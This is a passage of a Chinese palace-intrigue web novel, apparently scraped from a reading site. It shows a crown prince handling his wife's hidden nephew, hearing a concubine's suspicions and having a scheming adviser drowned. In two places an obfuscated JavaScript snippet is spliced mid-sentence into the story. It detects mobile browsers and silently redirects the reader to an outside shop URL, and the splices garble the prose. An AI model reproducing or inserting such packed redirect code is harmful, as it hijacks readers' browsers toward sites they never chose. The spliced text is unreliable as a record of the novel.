凌唯州捏捏眉心,疲惫道:“先睡吧,我也是怕你落下病根罢了,明日一早我进宫,那个孩子呢?” “你要做什么?”萧沅莹耀若星辰的眼睛此时肿得像两颗桃子,又映出惊恐来,“我至死都不会告诉他什么,就让他平安长大吧,做个再平常不过的百姓,这是我兄长唯一的骨血了!” “你也知道急了?”凌唯州大感头疼,“你早告诉了我,我定有更妥当的安排,如今被父皇揪住,倒一点儿回旋的余地都没了。” 萧沅莹听了凌唯州这话,只觉一阵冷意从头贯到脚,仿佛数九寒天被扔进雪地里。 他这样说,是真的毫无办法,还是推脱之词。 若是连他也毫无办法,那便真是上天无路,入地无门了。 “这也没什么大不了的。”萧沅莹心灰,说出的话更像刀子一般,“若碍了你的路,我带了我侄儿离开这里,再不然,我和他死在一处,一了百了,省得有人日夜悬心!” …… 凌唯州觉得自己没法儿再待下去了。 他怕还有什么更伤人的话等着他。 也怕自己会控制不住地说些什么,伤了她的心。 “你还是先养好身子吧,若不然,你那小侄子,离了你能活几天?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399755|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌唯州大步出门,见绿芜和朱草等人仍守在门外,不敢去睡,便吩咐道:“给太子妃的眼睛敷一敷,备水沐浴,燃些安神的香,明早不要叫她。” 凌唯州翻身上马,出了飞山宫,连甩几鞭,那马嘶鸣一声,风一样冲出去,只片刻便到了东宫。 深更半夜,京城已陷入深眠,万籁俱寂。 急促的马蹄声惊醒了东宫诸人,守夜的内侍慌忙迎出来,生怕遭了呵斥。 凌唯州将马鞭随手一扔,大步往寝殿而去。 总管太监薛立忙小跑着跟在后面道:“殿下,寝殿正在粉刷修葺,住不得人的。” 凌唯州脚步一顿,这才想起来,困有意将萧沅莹母子接回东宫,为了让他们住得舒服,命人整修了寝殿,连桌椅和床铺都要换新了。 “去宋良娣处。” 宋玉芝早已睡下,被飞奔而来的小内侍叫醒,听说凌唯州要来,吓了一跳,慌忙穿衣起身,刚系好衣带,凌唯州已进了门。 凌唯州看了宋玉芝一眼,也只吩咐道:“备水沐浴,将被褥换了新的,你去榻上睡。” 宋玉芝低头应是,忙吩咐宫人备水,又哆嗦着手来替凌唯州宽衣除靴。 “你自去睡吧,让内侍们做就是。”凌唯州说完进了净室,草草洗了穿衣出来,却见宋玉芝仍呆呆地站在原地,脸上隐隐有泪痕。 不由奇道:“你杵这儿做什么,自去睡吧!” 宋玉芝醒过神来,忙退至一边,见凌唯州已掀被上床,咬了咬唇,鼓起勇气道:“自入东宫,还未有机会见到殿下,今日您来,玉芝想当面向殿下道谢,若不是您,玉芝早就是一抔黄土了,玉芝自知身子不洁,不配侍奉殿下,是以绝不会有妄念,定会安守本分,足不出屋,只为太子和太子妃念经祈福。” 凌唯州顿了一下,知道是自己方才没让她服侍误会了,想到萧沅莹以后总要回来,不能让仅有的两个良娣有怨恨之心,便耐心道:“你不必妄自菲薄,孤和太子妃没有半分瞧你不起的意思,你犯的那点子错,也只是年少冲动,不必为此自责一辈子,谁都不是完人。当初让你和贺兰良娣入东宫,也只是权宜之计,若是哪天你想归家,或是嫁人,孤自有办法帮你安排,去睡吧!” 宋玉芝定住了。 年少失身,是她最隐秘出沉重的心病,日日夜夜饱受折磨。 没想到这样大的丑事,太子殿下三言两语便化解了。 他真的没有瞧不起自己么。 宋玉芝心里几种心绪交汇,一时感铭肺腑,哽咽难言。 一些藏在心里不知该不该说的话,也不再犹豫,擦了擦眼泪道:“殿下,有件事诡异,嫔妾心里疑虑,怕有什么对您和太子妃不好的,不敢不说。” “你说。”凌唯州重新闭上眼睛,已是困意朦胧。 宋玉芝斟酌着词句道:“是关于贺兰姐姐的,去年的冬天,有一回夜里,因那日是我的一位故人的祭日,我去后头花园,祭拜了些纸钱,往回走时,看到一个黑影,鬼鬼祟祟地进了贺兰姐姐的院子。” “你接着说。”凌唯州猝然睁眼,困意全消。 59. 第 59 章 凌唯州的回应让宋玉芝受到了鼓励,说得更流畅了些。 “还有一件事是,嫔妾有一回遇到内直局的冯司彩,她向我抱怨说,贺兰姐姐命她们赶制一件太子妃穿的钗钿礼衣。冯司彩说,这钗钿礼衣每年做多少件都有定制,现今还不到做的时候,而且太子妃当时正有孕,这礼衣做出来也不一定合适。贺兰姐姐却说礼衣是太子您让做的,尺寸就比照之前的。内直局本来就人少事多,忙不过来,几个人熬了几个通宵呢!” 凌唯州已坐了起来,鞋穿一半却又停住了。 “这事确是不寻常,你做得很好,有心了。” 凌唯州赞赏道:“你继续留意她的举动,也不必太刻意,别惊动她,明白了?” “是!”宋玉芝屈膝应是,长久郁结之意终于散去了些,觉得自己总算可以不用终日无所事事了。 凌唯州走后,萧沅莹反而平静了。 其实说到底,她还是有些意难平的。 痛恨自己没有能力自保,而要依附于一个萧梁王朝的掘墓人。 但萧沅莹也明白,凌唯州算是有良心的了。 否则方才自己也不敢那样刺他。 江山历来有人争,美人老去无人理。 等再过几年,这飞山宫还不知会是个什么模样。 萧沅莹沉沉睡去,又梦到皇兄临死前殷殷的嘱咐。 “不要对凌唯州有任何怨怼,不要想着帮萧氏挽回什么......只管过好自己的日子。” 可是兄长啊,只是想留小阿宁在身边也不行么。 萧沅莹头疼欲裂,直睡到第二日辰时三刻,朦胧中听到一阵小儿的啼哭,激灵一下醒来,以为是小阿宁如何了,忙趿着鞋跑出去,却是绿芜抱着小阿宁在院中,齐嬷嬷和朱草一边一个,又是哄又是逗的,小阿宁却不理睬,只是啼哭不止。 萧沅莹左右看看,见并无别的状况,稍稍放心,走近了问道:“这是怎么了?” 绿芜回道:“小少爷醒了就哭,怎么也哄不来。” 萧沅莹道:“我来吧,去煮些粥来。” 小阿宁见了萧沅莹,哭声渐止。 许是血缘上奇妙的连系,又或许是毕竟见过几面,熟悉一些。 萧沅莹边带着小阿宁,边洗漱了。又喂了他一碗粥饭,方不再哭闹,有些高兴起来,迈着尚不稳的步子,摸摸这儿,看看那儿,走来走去自己玩了起来。 萧沅莹在一旁看着,思绪不知飘到了哪里。 猛听有人笑道:“哟,这不好好的吗,哪里就哭了?” 萧沅莹吓了一跳,回头一看,却是凌霜来了。 “你那太子殿下,大清早的,把我叫醒,催命似的让我来看你,说你还没出月子,怕哭坏了身子。我心急火燎地赶来,合着你没事呀!” 萧沅莹勉强一笑,起身让坐。 “我能有什么事,让姐姐操心了。” “跟我客气什么。”凌霜在萧沅莹身旁坐了,转头看到小阿宁,笑道:“这便是萧承的孩子?我看看。” 凌霜毕竟是两个孩子的母亲,哄孩子有一手,一会儿拍拍手,一会哼几句儿歌,便把小阿宁逗得张嘴傻乐,露出两颗小乳牙。 “这孩子真可爱,生得又好看,你们萧家都是好相貌。” “好相貌有什么用,死的死,逃的逃,树倒猢狲散,墙倒众人推,说完就完了。” 凌霜顿住,看向萧沅莹。 一头柔顺的长发随意插了个簪披在肩上,眉毛细长,眼睛虽有点红肿,却似汪着一潭静水,平和温柔,小巧挺直的鼻子下,两片薄唇倔强地抿着,穿了一件玉色暗纹交领衫子,更衬得她肤色凝白如玉。 这样仙子一般的人物,若不是萧梁没落,也不一定就能落在自己家里。 凌霜探过身子,握了萧沅莹的手道:“自我第一次见你,便喜欢你,生得好,性子好,当我弟妇我一百个高兴。只是人啊,都是先为自己,我再喜欢你向着你,也乐见北幽大军攻下京城,父亲当上皇帝,再高高兴兴地被封做公主,儿子女儿小小年纪一个封侯,一个封县主。有时,真觉得挺对不住你的,闲时又想起,若将我放在你的处境上,根本不知该怎么办,哭了哭死了,哪还有什么本事搬救兵,救侄儿。” 萧沅莹抬眼看向凌霜,见她眉眼间满是心疼担忧,心中一痛,眼圈又红了。 从清翼动乱开始,一直到萧承病亡,种种的忧思焦灼,奔波病痛,在脑中一闪而过,随风飘远。 不由轻叹一声道:“朝代更迭,世事变幻,这也不是你我能决定的事,又何来对不起一说。” 凌霜听了眼睛一亮,高兴道:“我就知道你是个通透的,不会做那无谓之叹,过去的就让它过去吧!你不就是不放心把孩子交给别人,想留在身边教养么,这也好办,我认他做义子,这样既不会暴露他的身份,你又能时时见到他,如何?” 萧沅莹听了浑身一震,犹恐听错了,立时反抓了凌霜的手道:“当真,姐姐可莫要哄我。” “诶,你轻点。”凌霜只觉手背一痛,忙缩回手来,嗔道:“真的,比金子还真,你是猫吗,抓人这样狠。” 萧沅莹的心砰砰乱跳,一时竟有些手足无措。 “若真能如此,姐姐便是我和阿宁的救命恩人,只是......皇上那里怕是不会答应。” “嗨,那怕什么。”凌霜眉眼间满是笃定的笑意,“我慢慢地跟父皇说,日日地跟他磨,总有一天能说服他。你以为他想落个谋害前朝皇嗣的骂名么,他若是不在乎,找到这孩子时就动手了,何必送到你面前来,也只不过是找个理由抱走孙子罢了。” “可你没见昨日那阵仗,我真怕他一时发怒拧断阿宁和我的脖子。” “不可能的。”凌霜摆手道:“他自登了皇位,是被廖以章挑唆得有些出格,但也只是纵情了些,你别忘了,当初北幽可是藩镇里面最强的,这可不是靠的运气,而是我父亲的谋略和胆识,一点一点拼出来的。” 萧沅莹沉默。 凌霜又忽地一乐,压低声音道:“你是没看到,他听说阿岩出生时的样子,喜得无可无不可的,他还曾说不许你诞下皇嗣呢,最后不也打脸了。我是没想到他能忍这么久的,我猜若不是想用你小侄儿换走小阿岩,他呀,多半是会睁一只眼闭一只眼的。” 萧沅莹觉得凌霜这样说,完全是为了安慰自己,但总算有了希望,心里踏实了些。 两人又说了会儿话,约定等萧沅莹身体恢复些,出了月子,便去宫里看小阿岩,便各自散了。 凌唯州一大早起来,先去凌霜府上,让她去看萧沅莹,之后马不停蹄进了宫。 小阿岩被安排住在了云福殿,紧挨着皇帝凌文山的寝宫。 拨了八个嬷嬷,八个内监照看,添了两个乳母。 又命尚衣监赶制了小衣衫、被褥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444925|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若干,十分妥当。 凌唯州到时,小阿岩已醒了有一会儿,吃饱了奶,正手舞足蹈地看着嬷嬷手里的拨浪鼓玩,没一会儿,眼皮轻合,又睡着了。 凌唯州忍不住笑,嘱宫人们细心照顾,从云福殿出来,带着薛立,又信步行至湖边,远远地望见皇帝身边正得宠的吕美人款款走来。 见了凌唯州只屈膝行礼,又低头前行。 擦身而过时,她身边的侍女飞快地将一封信函塞在了薛立手中。 薛立不动声色地将信收起,待吕美人主仆二人走远了,方拆开了,抽出一张薄纸来,躬身交给凌唯州。 凌唯州展开,一目十行地看完,冷笑一声,扔还给薛立。 “烧了。” 薛立取出火折,将信函烧成灰烬,用脚踩了,方说道:“殿下,这吕美人倒是个聪明人,知道皇上年岁大了,早早地给自己和儿子寻靠山。” 凌唯州望着远处的亭台楼阁,凉凉道:“有聪明的,就有蠢笨的。” 薛立小心翼翼问道:“殿下说的是......廖先生?” “孤本想再留他几日,他却急着自掘坟墓。”凌唯州想到方才吕美人递来的消息,眼中浮起一片阴霾,“也罢,那便成全他,一了百了。” 傍晚,廖以章从宫里出来,坐了轿子往家赶,心时还盘算着自己的谋划,觉得进展顺利,不由心情大好,还哼起了小曲。 却忽听外面一声惨叫,接着轿子突地向前一栽,摔在地上。 廖以章来不及做出反应,咕咚一声跌出轿子。 还未看清什么,刚要起身,已被麻袋套住了上半身,一个闷棍下来,便失去了知觉。 待醒来时,先听到了哗哗的水声,睁开眼睛,却是在一艘船上,船舱内传来铮铮琴声。 廖以章正惶恐间,已被人拎起,扔进舱内,摔得七荤八素。 接着一道清越的声音响起:“廖先生,失礼了。” 廖以章心中一紧,抬头看去,正见太子凌唯州端坐于案后,不由怒道:“太子,你这是何意?” 凌唯州冷冷一笑。 “你放心,孤不会让你做那不明不白之鬼,你前日对皇上说,古往今来的帝王莫不化为尘土,不如及时行乐,才不枉一世帝王,可是有的?” 廖以章额上沁出冷汗来,仍嘴硬道:“说了又怎样,你一个太子居然也敢探听宫闱,我要去告诉皇上!” 凌唯州神色不变,甚至微微笑着。 “只怕你没了机会。” 廖以章这下才有些慌了,气极败坏道:“我乃朝廷命官,你敢动用私刑?” 凌唯州起身行至窗边,望着外面滔滔的江水,笑道:“孤一向讨厌繁文缛节,只喜欢快刀崭乱麻,你这恬不知耻的败类,怕不是会脏了大理寺的地砖。把你扔这江里,干净爽快,你得谢谢我。” 话音刚落,两个侍卫如狼似虎地扑上来,将廖以章捆的粽子似的,还贴心地绑了块石头。 廖以章大惊,声音都发了颤。 “凌唯州!我是大凉的开国功臣,你敢,皇上不会饶了你!” 侍卫们哪里理他,将他拖到甲板上,干净利落地抛了出去。 廖以章目眦欲裂,腾到半空时,奋力喊出一句:“你别得意!我已放好一颗棋子,你们大凉要完了!......哈哈哈!” 扑通一声,江水起了个漩涡,转瞬又恢复了平静。